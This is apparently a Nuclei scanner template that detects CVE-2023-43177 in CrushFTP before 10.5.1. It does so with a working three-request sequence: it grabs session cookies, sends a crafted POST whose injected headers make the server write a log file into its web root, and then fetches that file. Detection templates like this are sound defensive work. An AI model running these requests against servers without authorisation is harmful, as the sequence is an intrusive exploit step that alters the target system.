75 lines
2.2 KiB
YAML
75 lines
2.2 KiB
YAML
id: CVE-2023-43177
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info:
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name: CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2023-43177
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- https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/
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- https://blog.projectdiscovery.io/crushftp-rce/
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- https://github.com/the-emmons/CVE-Disclosures/blob/main/Pending/CrushFTP-2023-1.md
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- https://github.com/nomi-sec/PoC-in-GitHub
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-43177
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cwe-id: CWE-913
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epss-score: 0.92767
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epss-percentile: 0.98966
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cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: crushftp
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product: crushftp
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tags: cve,cve2023,crushftp,unauth,rce,intrusive
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flow: http(1) && http(2) && http(3)
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variables:
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dirname: "{{randbase(5)}}"
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filename: "{{randbase(5)}}"
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http:
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- method: GET
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path:
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- "{{BaseURL}}/WebInterface"
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matchers:
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- type: dsl
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internal: true
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dsl:
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- contains_all(to_lower(header), "currentauth", "crushauth")
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- method: POST
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path:
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- "{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}"
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headers:
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Cookie: "CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}"
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as2-to: X
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user_name: crushadmin{{dirname}}
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user_log_path: "./WebInterface/{{dirname}}/"
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user_log_file: "{{filename}}"
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Content-Type: application/x-www-form-urlencoded
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body: |
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post=body
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matchers:
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- type: regex
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regex:
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- "crushadmin"
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- method: GET
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path:
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- "{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}"
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matchers:
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- type: dsl
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dsl:
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- status_code == 200
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- contains(body, "crushadmin{{dirname}}")
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condition: and
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# digest: 4a0a00473045022100830445e9bba00a117daddfca1259b9ef7a022d6fe27e13f9cb7b40949407bd9c02204a02f01f53e956fcc4b5e30944fd8a5bc1bb49d9f20ff4fb78329f46f5adf916:922c64590222798bb761d5b6d8e72950 |